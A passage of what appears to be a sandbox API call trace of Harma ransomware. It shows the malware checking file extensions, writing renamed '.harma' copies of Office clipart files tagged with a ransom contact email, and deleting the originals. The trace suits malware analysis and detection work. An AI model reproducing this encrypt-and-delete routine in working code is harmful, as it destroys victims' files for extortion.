Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.639] lstrlenW (lpString=".1cd") returned 4 [0145.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.639] lstrlenW (lpString=".jpg") returned 4 [0145.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.639] lstrlenW (lpString=".doc") returned 4 [0145.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.639] lstrlenW (lpString=".docx") returned 5 [0145.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.639] lstrlenW (lpString=".pdf") returned 4 [0145.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.639] lstrlenW (lpString=".xls") returned 4 [0145.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.639] lstrlenW (lpString=".xlsx") returned 5 [0145.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.639] lstrlenW (lpString=".ppt") returned 4 [0145.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.640] lstrlenW (lpString=".zip") returned 4 [0145.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.640] lstrlenW (lpString=".rar") returned 4 [0145.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.640] lstrlenW (lpString=".bz2") returned 4 [0145.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.640] lstrlenW (lpString=".7z") returned 3 [0145.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.640] lstrlenW (lpString=".dbf") returned 4 [0145.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.640] lstrlenW (lpString=".1cd") returned 4 [0145.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0145.640] lstrlenW (lpString=".jpg") returned 4 [0145.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.640] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.640] lstrlenW (lpString="BL00252_.WMF") returned 12 [0145.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.641] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4708) returned 1 [0145.641] CloseHandle (hObject=0x2e8) returned 1 [0145.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0145.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.642] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.642] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.642] GetLastError () returned 0x0 [0145.642] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1264, lpOverlapped=0x0) returned 1 [0145.645] WriteFile (in: hFile=0x350, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1270, lpOverlapped=0x0) returned 1 [0145.646] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.646] WriteFile (in: hFile=0x350, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.647] SetEndOfFile (hFile=0x350) returned 1 [0145.647] CloseHandle (hObject=0x350) returned 1 [0145.647] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.647] SetEndOfFile (hFile=0x2e8) returned 1 [0145.650] CloseHandle (hObject=0x2e8) returned 1 [0145.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0145.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.651] lstrlenW (lpString=".doc") returned 4 [0145.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.651] lstrlenW (lpString=".docx") returned 5 [0145.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.651] lstrlenW (lpString=".pdf") returned 4 [0145.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.651] lstrlenW (lpString=".xls") returned 4 [0145.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.651] lstrlenW (lpString=".xlsx") returned 5 [0145.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.651] lstrlenW (lpString=".ppt") returned 4 [0145.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.651] lstrlenW (lpString=".zip") returned 4 [0145.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.651] lstrlenW (lpString=".rar") returned 4 [0145.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.651] lstrlenW (lpString=".bz2") returned 4 [0145.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.651] lstrlenW (lpString=".7z") returned 3 [0145.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.651] lstrlenW (lpString=".dbf") returned 4 [0145.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.652] lstrlenW (lpString=".1cd") returned 4 [0145.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.652] lstrlenW (lpString=".jpg") returned 4 [0145.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.652] lstrlenW (lpString=".doc") returned 4 [0145.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.652] lstrlenW (lpString=".docx") returned 5 [0145.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.652] lstrlenW (lpString=".pdf") returned 4 [0145.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.652] lstrlenW (lpString=".xls") returned 4 [0145.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.652] lstrlenW (lpString=".xlsx") returned 5 [0145.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.652] lstrlenW (lpString=".ppt") returned 4 [0145.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.652] lstrlenW (lpString=".zip") returned 4 [0145.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.652] lstrlenW (lpString=".rar") returned 4 [0145.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.652] lstrlenW (lpString=".bz2") returned 4 [0145.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.652] lstrlenW (lpString=".7z") returned 3 [0145.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.652] lstrlenW (lpString=".dbf") returned 4 [0145.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.653] lstrlenW (lpString=".1cd") returned 4 [0145.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0145.653] lstrlenW (lpString=".jpg") returned 4 [0145.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.653] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.653] lstrlenW (lpString="BL00254_.WMF") returned 12 [0145.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.655] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1736) returned 1 [0145.655] CloseHandle (hObject=0x350) returned 1 [0145.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0145.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.656] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.656] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.657] GetLastError () returned 0x0 [0145.657] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x6c8, lpOverlapped=0x0) returned 1 [0145.664] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0145.664] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.665] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.665] SetEndOfFile (hFile=0x328) returned 1 [0145.665] CloseHandle (hObject=0x328) returned 1 [0145.665] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.665] SetEndOfFile (hFile=0x350) returned 1 [0145.667] CloseHandle (hObject=0x350) returned 1 [0145.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0145.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.668] lstrlenW (lpString=".doc") returned 4 [0145.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.668] lstrlenW (lpString=".docx") returned 5 [0145.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.669] lstrlenW (lpString=".pdf") returned 4 [0145.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.669] lstrlenW (lpString=".xls") returned 4 [0145.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.669] lstrlenW (lpString=".xlsx") returned 5 [0145.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.669] lstrlenW (lpString=".ppt") returned 4 [0145.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.669] lstrlenW (lpString=".zip") returned 4 [0145.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.669] lstrlenW (lpString=".rar") returned 4 [0145.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.669] lstrlenW (lpString=".bz2") returned 4 [0145.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.669] lstrlenW (lpString=".7z") returned 3 [0145.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.669] lstrlenW (lpString=".dbf") returned 4 [0145.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.669] lstrlenW (lpString=".1cd") returned 4 [0145.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.669] lstrlenW (lpString=".jpg") returned 4 [0145.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.669] lstrlenW (lpString=".doc") returned 4 [0145.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.669] lstrlenW (lpString=".docx") returned 5 [0145.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.670] lstrlenW (lpString=".pdf") returned 4 [0145.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.670] lstrlenW (lpString=".xls") returned 4 [0145.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.670] lstrlenW (lpString=".xlsx") returned 5 [0145.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.670] lstrlenW (lpString=".ppt") returned 4 [0145.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.670] lstrlenW (lpString=".zip") returned 4 [0145.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.670] lstrlenW (lpString=".rar") returned 4 [0145.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.670] lstrlenW (lpString=".bz2") returned 4 [0145.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.670] lstrlenW (lpString=".7z") returned 3 [0145.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.670] lstrlenW (lpString=".dbf") returned 4 [0145.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.670] lstrlenW (lpString=".1cd") returned 4 [0145.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0145.670] lstrlenW (lpString=".jpg") returned 4 [0145.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.670] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.671] lstrlenW (lpString="BL00261_.WMF") returned 12 [0145.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.671] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=12482) returned 1 [0145.671] CloseHandle (hObject=0x350) returned 1 [0145.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0145.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0145.796] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.796] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.797] GetLastError () returned 0x0 [0145.797] ReadFile (in: hFile=0x210, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x30c2, lpOverlapped=0x0) returned 1 [0145.853] WriteFile (in: hFile=0x214, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0145.854] ReadFile (in: hFile=0x210, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0145.854] WriteFile (in: hFile=0x214, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.854] SetEndOfFile (hFile=0x214) returned 1 [0145.854] CloseHandle (hObject=0x214) returned 1 [0145.855] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0145.855] SetEndOfFile (hFile=0x210) returned 1 [0145.859] CloseHandle (hObject=0x210) returned 1 [0145.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0145.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.860] lstrlenW (lpString=".doc") returned 4 [0145.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString=".docx") returned 5 [0145.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.860] lstrlenW (lpString=".pdf") returned 4 [0145.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString=".xls") returned 4 [0145.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.860] lstrlenW (lpString=".xlsx") returned 5 [0145.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.860] lstrlenW (lpString=".ppt") returned 4 [0145.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.860] lstrlenW (lpString=".zip") returned 4 [0145.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.860] lstrlenW (lpString=".rar") returned 4 [0145.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString=".bz2") returned 4 [0145.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString=".7z") returned 3 [0145.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.860] lstrlenW (lpString=".dbf") returned 4 [0145.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.860] lstrlenW (lpString=".1cd") returned 4 [0145.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.860] lstrlenW (lpString=".jpg") returned 4 [0145.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0145.861] lstrlenW (lpString=".doc") returned 4 [0145.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.861] 